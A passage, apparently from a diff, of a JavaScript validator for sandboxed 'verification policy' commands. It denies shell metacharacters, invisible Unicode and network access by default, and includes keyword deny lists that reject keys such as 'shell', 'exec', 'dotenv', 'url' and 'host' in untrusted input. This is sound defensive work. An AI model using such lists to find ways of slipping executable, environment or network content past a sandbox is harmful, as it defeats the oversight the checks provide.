policy_options_denied: 'Loader options must be a closed direct-JSON object.', + proxy_denied: 'Live and revoked Proxies are denied.', + resource_limit_denied: 'Untrusted input must not contribute resource limits.', + shell_content_denied: 'Shell text, interpolation, or metacharacters are denied.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_key: 'A key is outside the closed vocabulary.', + value_depth_exceeded: 'Nesting exceeds the bounded policy depth.', +})); + +const INVISIBLE_RANGES = capturedFreeze([ + [0x00ad, 0x00ad], + [0x061c, 0x061c], + [0x180e, 0x180e], + [0x200b, 0x200f], + [0x2028, 0x202e], + [0x2060, 0x2064], + [0x2066, 0x2069], + [0xfeff, 0xfeff], + [0xfff9, 0xfffb], + [0x1d173, 0x1d17a], + [0xe0001, 0xe0001], + [0xe0020, 0xe007f], +]); +const SEPARATOR_LOOKALIKES = capturedFreeze([ + 0x2044, 0x2215, 0x27cb, 0x27cd, 0x29f8, 0xfe68, 0xff0f, 0xff3c, +]); +const CONFUSABLE_HYPHENS = capturedFreeze([ + 0x00ad, 0x2010, 0x2011, 0x2012, 0x2013, 0x2014, 0x2015, 0x2212, 0xfe58, 0xfe63, 0xff0d, +]); + +const EXECUTABLE_FOLDS = capturedFreeze([ + 'args', 'argument', 'arguments', 'argv', 'argvtemplate', 'bin', 'binary', + 'cmd', 'cmdline', 'command', 'commandcatalog', 'commands', 'cwd', + 'entrypoint', 'exec', 'executable', 'interpreter', 'run', 'runner', + 'runnercommand', 'script', 'scripts', 'shell', 'shellcommand', 'template', + 'templates', 'verificationcommand', 'verificationpolicy', + 'verificationpolicyv1', 'workingdirectory', +]); +const ENVIRONMENT_FOLDS = capturedFreeze([ + 'dotenv', 'env', 'environ', 'environment', 'environmentallowlist', + 'envfile', 'envvar', 'envvars', +]); +const NETWORK_FOLDS = capturedFreeze([ + 'endpoint', 'host', 'hostname', 'hosts', 'network', 'uri', 'url', +]); +const MUTATION_FOLDS = capturedFreeze([ + 'filesystem', 'mutate', 'mutation', 'persist', 'persistent', 'write', +]); +const RESOURCE_FOLDS = capturedFreeze([ + 'cpulimit', 'maxerrorbytes', 'maxoutputbytes', 'memorylimit', 'pidslimit', + 'resource', 'resources', 'timeout', 'timeoutms', 'ulimit', +]); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_IS = Object.is; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const NUMBER_IS_FINITE = Number.isFinite; +const REFLECT_APPLY = Reflect.apply; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const STRING = String; +const STRING_CHAR_CODE_AT = Function.prototype.call.bind(String.prototype.charCodeAt); +const STRING_CODE_POINT_AT = Function.prototype.call.bind(String.prototype.codePointAt); +const STRING_NORMALIZE = Function.prototype.call.bind(String.prototype.normalize); +const STRING_SLICE = Function.prototype.call.bind(String.prototype.slice); +const STRING_STARTS_WITH = Function.prototype.call.bind(String.prototype.startsWith); +const STRING_ENDS_WITH = Function.prototype.call.bind(String.prototype.endsWith); +const STRING_SPLIT = Function.prototype.call.bind(String.prototype.split); +const STRING_TO_LOWER_CASE = Function.prototype.call.bind(String.prototype.toLowerCase); +const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); +const ARRAY_PUSH = Array.prototype.push; +const ARRAY_SORT = Function.prototype.call.bind(Array.prototype.sort); +const ARRAY_PROTOTYPE = Array.prototype; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const JSON_PARSE = JSON.parse; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const TEXT_DECODER = TextDecoder; +const TEXT_DECODER_DECODE = TextDecoder.prototype.decode; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const OS_HOMEDIR = homedir; +const FS_OPEN = open; +const FS_LSTAT = lstat; + +function deny(code, path) { + fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function freezeList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return capturedFreeze(clone); +} + +function compareText(left, right) { + if (left === right) return 0; + return left < right ? -1 : 1; +} + +function foldKey(key) { + return STRING_REPLACE(STRING_TO_LOWER_CASE(STRING(key)), /[-_ ]+/gu, ''); +} + +function inRangeList(ranges, codePoint) { + for (let index = 0; index < ranges.length; index += 1) { + const range = ranges[index]; + if (codePoint >= range[0] && codePoint <= range[1]) return true; + } + return false; +} + +function includesCode(list, codePoint) { + for (let index = 0; index < list.length; index += 1) { + if (list[index] === codePoint) return true; + } + return false; +} + +function assertSafeText(value, path) { + if (typeof value !== 'string') deny('invalid_type', path); + let index = 0; + while (index < value.length) { + const codePoint = STRING_CODE_POINT_AT(value, index); + if (codePoint >= 0xd800 && codePoint <= 0xdfff) deny('invalid_encoding', path); + if (codePoint < 0x20 || (codePoint >= 0x7f && codePoint <= 0x9f)) { + deny('control_character_denied', path); + } + if (inRangeList(INVISIBLE_RANGES, codePoint)) deny('control_character_denied', path); + if (includesCode(SEPARATOR_LOOKALIKES, codePoint)) deny('ambiguous_id_denied', path); + if (includesCode(CONFUSABLE_HYPHENS, codePoint)) deny('ambiguous_id_denied', path); + if (codePoint > 0x7e) deny('ambiguous_id_denied', path); + index += codePoint > 0xffff ? 2 : 1; + } + let nfc; + let nfkc; + try { + nfc = STRING_NORMALIZE(value, 'NFC'); + nfkc = STRING_NORMALIZE(value, 'NFKC'); + } catch { + deny('invalid_encoding', path); + } + if (nfc !== value || nfkc !== value) deny('ambiguous_id_denied', path); + return value; +} + +function assertBoundedString(value, path, maxBytes) { + assertSafeText(value, path); + const bytes = capturedUtf8ByteLength(value); + if (bytes < 1 || bytes > maxBytes) deny('out_of_range', path); + return value; +} + +function assertCommandId(value, path) { + assertSafeText(value, path); + if (!isCommandId(value) || capturedUtf8ByteLength(value) > COMMAND_ID_MAX + || !capturedTest(PRIVATE_COMMAND_ID_PATTERN, value)) { + deny('invalid_format', path); + } + return value; +} + +function assertParamName(value, path) { + assertSafeText(value, path); + if (!isParamKey(value) || !capturedTest(PRIVATE_PARAM_KEY_PATTERN, value)) { + deny('invalid_format', path); + } + return value; +} + +function assertSafeInteger(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || !NUMBER_IS_FINITE(value) + || OBJECT_IS(value, -0)) { + deny('invalid_type', path); + } + if (value < min || value > max) deny('out_of_range', path); + return value; +} + +function ownKeysOrDeny(value, path) { + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + deny('invalid_type', path); + } + return keys; +} + +function classifyUntrustedKey(key) { + if (key === 'command_id' || key === 'parameters') return null; + const folded = foldKey(key); + if (folded === 'commandid' || folded === 'parameters') return 'unknown_key'; + if (capturedIncludes(EXECUTABLE_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(ENVIRONMENT_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(NETWORK_FOLDS, folded)) return 'network_content_denied'; + if (capturedIncludes(MUTATION_FOLDS, folded)) return 'mutation_permission_denied'; + if (capturedIncludes(RESOURCE_FOLDS, folded)) return 'resource_limit_denied'; + return 'unknown_key'; +} + +function assertExactKeys(value, allowed, required, path) { + const allowedSet = new SET_CTOR(allowed); + const keys = ownKeysOrDeny(value, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (!SET_HAS.call(allowedSet, key)) deny('unknown_key', path); + } + for (let index = 0; index < required.length; index += 1) { + if (!hasOwn(value, required[index])) deny('missing_key', `${path}.${required[index]}`); + } + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); +} + +function assertDenseArray(value, path, maxLength) { + assertNotProxy(value, path); + if (!capturedIsArray(value)) deny('invalid_type', path); + let prototype; + try { + prototype = capturedGetPrototypeOf(value); + } catch { + deny('exotic_prototype_denied', path); + } + if (prototype !== ARRAY_PROTOTYPE && prototype !== null) deny('exotic_prototype_denied', path); + const lengthDescriptor = capturedDescriptor(value, 'length'); + if (!lengthDescriptor || lengthDescriptor.enumerable + || lengthDescriptor.get !== undefined || lengthDescriptor.set !== undefined + || typeof lengthDescriptor.value !== 'number' + || !NUMBER_IS_SAFE_INTEGER(lengthDescriptor.value) || lengthDescriptor.value < 0) { + deny('invalid_array', `${path}.length`); + } + const length = lengthDescriptor.value; + if (length > maxLength) deny('out_of_range', path); + const keys = ownKeysOrDeny(value, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (key === 'length') continue; + const numeric = Number(key); + if (!NUMBER_IS_SAFE_INTEGER(numeric) || STRING(numeric) !== key || numeric < 0 || numeric >= length) { + deny('invalid_array', path); + } + } + for (let index = 0; index < length; index += 1) { + if (!hasOwn(value, STRING(index))) deny('invalid_array', `${path}[${index}]`); + } + return length; +} + +function assertPolicyBounds(value, path) { + let nodes = 0; + let stringBytes = 0; + const walk = (node, depth, nodePath) => { + nodes += 1; + if (nodes > MAX_POLICY_NODES) deny('out_of_range', nodePath); + if (depth > MAX_POLICY_DEPTH) deny('value_depth_exceeded', nodePath); + if (typeof node === 'string') { + stringBytes += BUFFER_BYTE_LENGTH(node, 'utf8'); + if (stringBytes > MAX_POLICY_TOTAL_STRING_BYTES) deny('out_of_range', nodePath); + return; + } + if (node === null || typeof node !== 'object') return; + if (capturedIsArray(node)) { + if (node.length > MAX_POLICY_OBJECT_KEYS && nodePath !== `${path}.commands`) { + if (node.length > MAX_ARGV_TOKENS && node.length > MAX_COMMANDS) deny('out_of_range', nodePath); + } + for (let index = 0; index < node.length; index += 1) { + walk(node[index], depth + 1, `${nodePath}[${index}]`); + } + return; + } + const keys = sortedCapturedKeys(node); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', nodePath); + for (let index = 0; index < keys.length; index += 1) { + walk(node[keys[index]], depth + 1, `${nodePath}.${keys[index]}`); + } + }; + walk(value, 0, path); +} + +function isDotOnly(segment) { + if (segment.length === 0) return false; + for (let index = 0; index < segment.length; index += 1) { + if (STRING_CHAR_CODE_AT(segment, index) !== 0x2e) return false; + } + return true; +} + +function assertExecutablePath(value, path) { + assertBoundedString(value, path, MAX_EXECUTABLE_BYTES); + if (!STRING_STARTS_WITH(value, '/')) deny('invalid_format', path); + if (STRING_ENDS_WITH(value, '/')) deny('invalid_format', path); + for (let index = 0; index < value.length; index += 1) { + const unit = STRING_CHAR_CODE_AT(value, index); + if (unit === 0x5c || unit === 0x3a) deny('invalid_format', path); + } + const segments = STRING_SPLIT(value, '/'); + if (segments.length < 2 || segments.length > MAX_EXECUTABLE_SEGMENTS) deny('out_of_range', path); + if (segments[0] !== '') deny('invalid_format', path); + for (let index = 1; index < segments.length; index += 1) { + const segment = segments[index]; + if (segment.length === 0 || isDotOnly(segment) || !capturedTest(PRIVATE_SEGMENT_PATTERN, segment)) { + deny('invalid_format', path); + } + } + return value; +} + +function parseParameterDomain(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + if (!hasOwn(input, 'type')) deny('missing_key', `${path}.type`); + const type = optOwn(input, 'type'); + if (!capturedIncludes(PARAMETER_TYPES, type)) deny('invalid_format', `${path}.type`); + if (type === 'string') { + assertExactKeys(input, STRING_DOMAIN_KEYS, STRING_DOMAIN_KEYS, path); + return freezeRecord(STRING_DOMAIN_KEYS, { + type, + max_bytes: assertSafeInteger(optOwn(input, 'max_bytes'), `${path}.max_bytes`, 1, MAX_PARAM_STRING_BYTES), + }); + } + if (type === 'path_segment') { + assertExactKeys(input, PATH_SEGMENT_DOMAIN_KEYS, PATH_SEGMENT_DOMAIN_KEYS, path); + return freezeRecord(PATH_SEGMENT_DOMAIN_KEYS, { + type, + max_bytes: assertSafeInteger(optOwn(input, 'max_bytes'), `${path}.max_bytes`, 1, 128), + }); + } + if (type === 'integer') { + assertExactKeys(input, INTEGER_DOMAIN_KEYS, INTEGER_DOMAIN_KEYS, path); + const min = assertSafeInteger(optOwn(input, 'min'), `${path}.min`, Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER); + const max = assertSafeInteger(optOwn(input, 'max'), `${path}.max`, Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER); + if (min > max) deny('out_of_range', path); + return freezeRecord(INTEGER_DOMAIN_KEYS, { type, min, max }); + } + if (type === 'boolean') { + assertExactKeys(input, BOOLEAN_DOMAIN_KEYS, BOOLEAN_DOMAIN_KEYS, path); + return freezeRecord(BOOLEAN_DOMAIN_KEYS, { type }); + } + assertExactKeys(input, ENUM_DOMAIN_KEYS, ENUM_DOMAIN_KEYS, path); + const valuesInput = optOwn(input, 'values'); + const length = assertDenseArray(valuesInput, `${path}.values`, MAX_ENUM_VALUES); + if (length < 1) deny('out_of_range', `${path}.values`); + const seen = new SET_CTOR(); + const values = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.values[${index}]`; + const value = optOwn(valuesInput, STRING(index)); + assertBoundedString(value, entryPath, MAX_PARAM_STRING_BYTES); + if (!capturedTest(PRIVATE_ENUM_VALUE_PATTERN, value)) deny('invalid_format', entryPath); + if (SET_HAS.call(seen, value)) deny('duplicate_id', entryPath); + SET_ADD.call(seen, value); + ARRAY_PUSH.call(values, value); + } + ARRAY_SORT(values, compareText); + return freezeRecord(ENUM_DOMAIN_KEYS, { type, values: freezeList(values) }); +} + +function parseParameters(input, path) { + if (input === undefined) return freezeRecord([], {}); + assertPlainObject(input, 'invalid_type', path, path); + const keys = sortedCapturedKeys(input); + if (keys.length > MAX_PARAMETERS) deny('out_of_range', path); + const seen = new SET_CTOR(); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + assertParamName(key, `${path}.${key}`); + if (SET_HAS.call(seen, key)) deny('duplicate_parameter', path); + SET_ADD.call(seen, key); + values[key] = parseParameterDomain(optOwn(input, key), `${path}.${key}`); + } + return freezeRecord(keys, values); +} + +function parseArgvTemplate(input, parameters, path) { + const length = assertDenseArray(input, path, MAX_ARGV_TOKENS); + if (length < 1) deny('out_of_range', path); + const tokens = []; + const used = new SET_CTOR(); + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}[${index}]`; + const token = optOwn(input, STRING(index)); + assertBoundedString(token, entryPath, MAX_ARGV_TOKEN_BYTES); + if (capturedTest(PRIVATE_PLACEHOLDER_PATTERN, token)) { + const name = STRING_SLICE(token, 1, token.length - 1); + if (!capturedHasOwn(parameters, name)) deny('placeholder_unbound', entryPath); + if (SET_HAS.call(used, name)) deny('duplicate_parameter', entryPath); + SET_ADD.call(used, name); + ARRAY_PUSH.call(tokens, token); + continue; + } + if (!capturedTest(PRIVATE_LITERAL_PATTERN, token)) deny('shell_content_denied', entryPath); + ARRAY_PUSH.call(tokens, token); + } + return freezeList(tokens); +} + +function parseNetwork(input, path) { + if (input === undefined) { + return freezeRecord(NETWORK_ALLOWED_KEYS, { mode: 'deny', hosts: freezeList([]) }); + } + assertPlainObject(input, 'invalid_type', path, path); + if (!hasOwn(input, 'mode')) deny('missing_key', `${path}.mode`); + const mode = optOwn(input, 'mode'); + if (!capturedIncludes(NETWORK_MODES, mode)) deny('invalid_format', `${path}.mode`); + if (mode === 'deny') { + assertExactKeys(input, capturedFreeze(['mode']), capturedFreeze(['mode']), path); + return freezeRecord(NETWORK_ALLOWED_KEYS, { mode: 'deny', hosts: freezeList([]) }); + } + assertExactKeys(input, NETWORK_ALLOWED_KEYS, NETWORK_ALLOWED_KEYS, path); + const hostsInput = optOwn(input, 'hosts'); + const length = assertDenseArray(hostsInput, `${path}.hosts`, MAX_NETWORK_HOSTS); + if (length < 1) deny('out_of_range', `${path}.hosts`); + const seen = new SET_CTOR(); + const hosts = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.hosts[${index}]`; + const host = optOwn(hostsInput, STRING(index)); + assertBoundedString(host, entryPath, MAX_HOST_BYTES); + if (!capturedTest(PRIVATE_HOST_PATTERN, host)) deny('invalid_format', entryPath); + if (SET_HAS.call(seen, host)) deny('duplicate_id', entryPath); + SET_ADD.call(seen, host); + ARRAY_PUSH.call(hosts, host); + } + ARRAY_SORT(hosts, compareText); + return freezeRecord(NETWORK_ALLOWED_KEYS, { mode: 'allowlist', hosts: freezeList(hosts) }); +} + +function parseEnvironment(input, path) { + if (input === undefined) { + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList([]) }); + } + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, ENVIRONMENT_ALLOWED_KEYS, capturedFreeze([]), path); + if (!hasOwn(input, 'entries')) { + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList([]) }); + } + const entriesInput = optOwn(input, 'entries'); + const length = assertDenseArray(entriesInput, `${path}.entries`, MAX_ENV_ENTRIES); + const seen = new SET_CTOR(); + const entries = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.entries[${index}]`; + const entry = optOwn(entriesInput, STRING(index)); + assertPlainObject(entry, 'invalid_type', entryPath, entryPath); + assertExactKeys(entry, ENV_ENTRY_ALLOWED_KEYS, ENV_ENTRY_ALLOWED_KEYS, entryPath); + const name = optOwn(entry, 'name'); + assertBoundedString(name, `${entryPath}.name`, MAX_ENV_NAME_BYTES); + if (!capturedTest(PRIVATE_ENV_NAME_PATTERN, name) || capturedIncludes(DENIED_ENV_NAMES, name)) { + deny('env_name_denied', `${entryPath}.name`); + } + if (SET_HAS.call(seen, name)) deny('duplicate_id', `${entryPath}.name`); + SET_ADD.call(seen, name); + const value = optOwn(entry, 'value'); + assertBoundedString(value, `${entryPath}.value`, MAX_ENV_VALUE_BYTES); + if (!capturedTest(PRIVATE_LITERAL_PATTERN, value)) deny('shell_content_denied', `${entryPath}.value`); + ARRAY_PUSH.call(entries, freezeRecord(ENV_ENTRY_ALLOWED_KEYS, { name, value })); + } + entries.sort((left, right) => compareText(left.name, right.name)); + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList(entries) }); +} + +function parseMutation(input, path) { + if (input === undefined) { + return freezeRecord(MUTATION_ALLOWED_KEYS, { persistent: false, workspace: 'none' }); + } + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, MUTATION_ALLOWED_KEYS, capturedFreeze(['persistent']), path); + const persistent = optOwn(input, 'persistent'); + if (persistent !== true && persistent !== false) deny('invalid_type', `${path}.persistent`); + let workspace = 'none'; + if (hasOwn(input, 'workspace')) { + workspace = optOwn(input, 'workspace'); + if (!capturedIncludes(MUTATION_WORKSPACES, workspace)) deny('invalid_format', `${path}.workspace`); + } + if (persistent === true && workspace === 'none') deny('invalid_format', `${path}.workspace`); + return freezeRecord(MUTATION_ALLOWED_KEYS, { persistent, workspace }); +} + +function parseResources(input, path) { + if (input === undefined) { + return freezeRecord(RESOURCES_ALLOWED_KEYS, { + max_output_bytes: DEFAULT_OUTPUT_BYTES, + max_error_bytes: DEFAULT_ERROR_BYTES, + }); + } + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, RESOURCES_ALLOWED_KEYS, capturedFreeze([]), path); + const maxOutput = hasOwn(input, 'max_output_bytes') + ? assertSafeInteger(optOwn(input, 'max_output_bytes'), `${path}.max_output_bytes`, 1, MAX_OUTPUT_BYTES) + : DEFAULT_OUTPUT_BYTES; + const maxError = hasOwn(input, 'max_error_bytes') + ? assertSafeInteger(optOwn(input, 'max_error_bytes'), `${path}.max_error_bytes`, 1, MAX_ERROR_BYTES) + : DEFAULT_ERROR_BYTES; + return freezeRecord(RESOURCES_ALLOWED_KEYS, { + max_output_bytes: maxOutput, + max_error_bytes: maxError, + }); +} + +function parseTimeout(input, path) { + if (input === undefined) return DEFAULT_TIMEOUT_MS; + return assertSafeInteger(input, path, MIN_DURATION_MS, MAX_TIMEOUT_MS); +} + +export const DEFAULT_NETWORK_RECEIPT = parseNetwork(undefined, 'network'); +export const DEFAULT_ENVIRONMENT_RECEIPT = parseEnvironment(undefined, 'environment'); +export const DEFAULT_MUTATION_RECEIPT = parseMutation(undefined, 'mutation'); +export const DEFAULT_RESOURCES_RECEIPT = parseResources(undefined, 'resources'); + +function parseCommand(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + assertExactKeys(input, COMMAND_ALLOWED_KEYS, COMMAND_REQUIRED_KEYS, path); + const commandId = assertCommandId(optOwn(input, 'command_id'), `${path}.command_id`); + const executable = assertExecutablePath(optOwn(input, 'executable'), `${path}.executable`); + const parameters = parseParameters( + hasOwn(input, 'parameters') ? optOwn(input, 'parameters') : undefined, + `${path}.parameters`, + ); + const argvTemplate = parseArgvTemplate(optOwn(input, 'argv_template'), parameters, `${path}.argv_template`); + return freezeRecord(COMMAND_RECEIPT_KEYS, { + command_id: commandId, + executable, + argv_template: argvTemplate, + parameters, + network: parseNetwork(hasOwn(input, 'network') ? optOwn(input, 'network') : undefined, `${path}.network`), + environment: parseEnvironment( + hasOwn(input, 'environment') ? optOwn(input, 'environment') : undefined, + `${path}.environment`, + ), + mutation: parseMutation(hasOwn(input, 'mutation') ? optOwn(input, 'mutation') : undefined, `${path}.mutation`), + timeout_ms: parseTimeout(hasOwn(input, 'timeout_ms') ? optOwn(input, 'timeout_ms') : undefined, `${path}.timeout_ms`), + resources: parseResources(hasOwn(input, 'resources') ? optOwn(input, 'resources') : undefined, `${path}.resources`), + }); +} + +export function parseVerificationCommandDescriptorV1(input, path = 'command') { + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertPolicyBounds(input, path); + return parseCommand(input, path); +} + +function emptyPolicy() { + return freezeRecord(POLICY_ALLOWED_KEYS, { + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + commands: freezeList([]), + }); +} + +export function parseVerificationPolicyV1(input, path = 'policy') { + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertPolicyBounds(input, path); + assertExactKeys(input, POLICY_ALLOWED_KEYS, POLICY_REQUIRED_KEYS, path); + const schema = optOwn(input, 'schema'); + if (schema !== VERIFICATION_POLICY_SCHEMA_ID) deny('invalid_format', `${path}.schema`); + const version = optOwn(input, 'version'); + if (version !== VERIFICATION_POLICY_VERSION) deny('invalid_format', `${path}.version`); + const commandsInput = optOwn(input, 'commands'); + const length = assertDenseArray(commandsInput, `${path}.commands`, MAX_COMMANDS); + const seen = new SET_CTOR(); + const commands = []; + for (let index = 0; index < length; index += 1) { + const entryPath = `${path}.commands[${index}]`; + const snapshot = parseCommand(optOwn(commandsInput, STRING(index)), entryPath); + if (SET_HAS.call(seen, snapshot.command_id)) deny('duplicate_id', `${entryPath}.command_id`); + SET_ADD.call(seen, snapshot.command_id); + ARRAY_PUSH.call(commands, snapshot); + } + commands.sort((left, right) => compareText(left.command_id, right.command_id)); + const snapshot = freezeRecord(POLICY_ALLOWED_KEYS, { + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + commands: freezeList(commands), + }); + const canonical = canonicalJsonStringify(snapshot); + if (BUFFER_FROM(canonical, 'utf8').length > MAX_POLICY_CANONICAL_BYTES) deny('out_of_range', path); + return snapshot; +} + +export function canonicalVerificationPolicyJsonV1(input, path = 'policy') { + return canonicalJsonStringify(parseVerificationPolicyV1(input, path)); +} + +export function canonicalVerificationCommandJsonV1(input, path = 'command') { + return canonicalJsonStringify(parseVerificationCommandDescriptorV1(input, path)); +} + +function digestOf(label, snapshot) { + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(label, [canonicalBytes]); + return capturedFreeze({ + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +export function verificationPolicyDigestV1(input, path = 'policy') { + return digestOf(VERIFICATION_POLICY_DIGEST_LABEL, parseVerificationPolicyV1(input, path)); +} + +export function verificationCommandDigestV1(input, path = 'command') { + return digestOf(VERIFICATION_COMMAND_DIGEST_LABEL, parseVerificationCommandDescriptorV1(input, path)); +} + +export function verifyVerificationPolicyDigestV1(input, expectedDigestHex, path = 'policy') { + if (typeof expectedDigestHex !== 'string' + || expectedDigestHex.length !== POLICY_DIGEST_HEX_LENGTH + || !capturedTest(PRIVATE_SHA256_PATTERN, expectedDigestHex)) { + return false; + } + const actual = verificationPolicyDigestV1(input, path).digest; + return TIMING_SAFE_EQUAL(BUFFER_FROM(actual, 'hex'), BUFFER_FROM(expectedDigestHex, 'hex')) === true; +} + +function assertUntrustedStringParameter(value, path) { + assertBoundedString(value, path, PARAM_VALUE_MAX_BYTES); + if (!capturedTest(PRIVATE_LITERAL_PATTERN, value) && !capturedTest(PRIVATE_PATH_SEGMENT_PATTERN, value)) { + deny('shell_content_denied', path); + } + return value; +} + +function parseUntrustedParameters(input, path) { + if (input === undefined) return freezeRecord([], {}); + assertPlainObject(input, 'invalid_type', path, path); + const keys = sortedCapturedKeys(input); + if (keys.length > MAX_PARAMETERS) deny('out_of_range', path); + const seen = new SET_CTOR(); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + const code = classifyUntrustedKey(key); + if (code !== null && code !== 'unknown_key') deny(code, path); + assertParamName(key, `${path}.${key}`); + if (SET_HAS.call(seen, key)) deny('duplicate_parameter', path); + SET_ADD.call(seen, key); + const value = optOwn(input, key); + if (typeof value === 'string') { + values[key] = assertUntrustedStringParameter(value, `${path}.${key}`); + } else if (typeof value === 'number') { + values[key] = assertSafeInteger(value, `${path}.${key}`, Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER); + } else if (value === true || value === false) { + values[key] = value; + } else { + deny('invalid_type', `${path}.${key}`); + } + } + return freezeRecord(keys, values); +} + +export function rejectUntrustedExecutableContentV1(input, path = 'untrusted') { + assertNotProxy(input, path); + if (input === null || typeof input !== 'object') return; + assertDirectJsonClosure(input, path); + const walk = (node, nodePath) => { + if (node === null || typeof node !== 'object') return; + if (capturedIsArray(node)) { + for (let index = 0; index < node.length; index += 1) { + walk(node[index], `${nodePath}[${index}]`); + } + return; + } + const keys = ownKeysOrDeny(node, nodePath); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', nodePath); + const code = classifyUntrustedKey(key); + if (code !== null && code !== 'unknown_key') deny(code, nodePath); + walk(optOwn(node, key), `${nodePath}.${key}`); + } + }; + walk(input, path); +} + +export function parseUntrustedCommandReferenceV1(input, path = 'untrusted_command') { + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertPolicyBounds(input, path); + rejectUntrustedExecutableContentV1(input, path); + const keys = ownKeysOrDeny(input, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (key !== 'command_id' && key !== 'parameters') { + deny(classifyUntrustedKey(key) ?? 'unknown_key', path); + } + } + if (!hasOwn(input, 'command_id')) deny('missing_key', `${path}.command_id`); + const commandId = assertCommandId(optOwn(input, 'command_id'), `${path}.command_id`); + const parameters = parseUntrustedParameters( + hasOwn(input, 'parameters') ? optOwn(input, 'parameters') : undefined, + `${path}.parameters`, + ); + return freezeRecord(UNTRUSTED_COMMAND_ALLOWED_KEYS, { + command_id: commandId, + parameters, + }); +} + +function requireNormalizedAbsolute(value, path) { + if (typeof value !== 'string') deny('policy_options_denied', path); + assertSafeText(value, path); + if (!PATH_IS_ABSOLUTE(value) || PATH_RESOLVE(value) !== value) deny('policy_options_denied', path); + return value; +} + +function readEnvironment(env, path) { + const source = env === undefined ? process.env : env; + assertNotProxy(source, path); + if (typeof source !== 'object' || source === null || capturedIsArray(source)) { + deny('policy_options_denied', path); + } + const read = (key) => { + let descriptor; + try { + descriptor = capturedDescriptor(source, key); + } catch { + deny('policy_options_denied', path); + } + if (descriptor === undefined) return undefined; + if (!descriptor.enumerable || descriptor.get !== undefined || descriptor.set !== undefined) { + deny('policy_options_denied', path); + } + return descriptor.value; + }; + return { xdgConfigHome: read('XDG_CONFIG_HOME'), home: read('HOME') }; +} + +function defaultOwnerConfigDir(environment) { + if (typeof environment.xdgConfigHome === 'string' && environment.xdgConfigHome.length > 0 + && PATH_IS_ABSOLUTE(environment.xdgConfigHome) + && PATH_RESOLVE(environment.xdgConfigHome) === environment.xdgConfigHome) { + return environment.xdgConfigHome; + } + const home = typeof environment.home === 'string' && environment.home.length > 0 + && PATH_IS_ABSOLUTE(environment.home) && PATH_RESOLVE(environment.home) === environment.home + ? environment.home + : OS_HOMEDIR(); + requireNormalizedAbsolute(home, 'options.env.HOME'); + return PATH_JOIN(home, '.config'); +} + +export function verificationPolicyRoots(options = {}) { + assertNotProxy(options, 'options'); + if (typeof options !== 'object' || options === null || capturedIsArray(options)) { + deny('policy_options_denied', 'options'); + } + const optionKeys = ownKeysOrDeny(options, 'options'); + for (let index = 0; index < optionKeys.length; index += 1) { + const key = optionKeys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', 'options'); + if (!capturedIncludes(LOADER_OPTION_KEYS, key)) deny('unknown_key', 'options'); + } + const 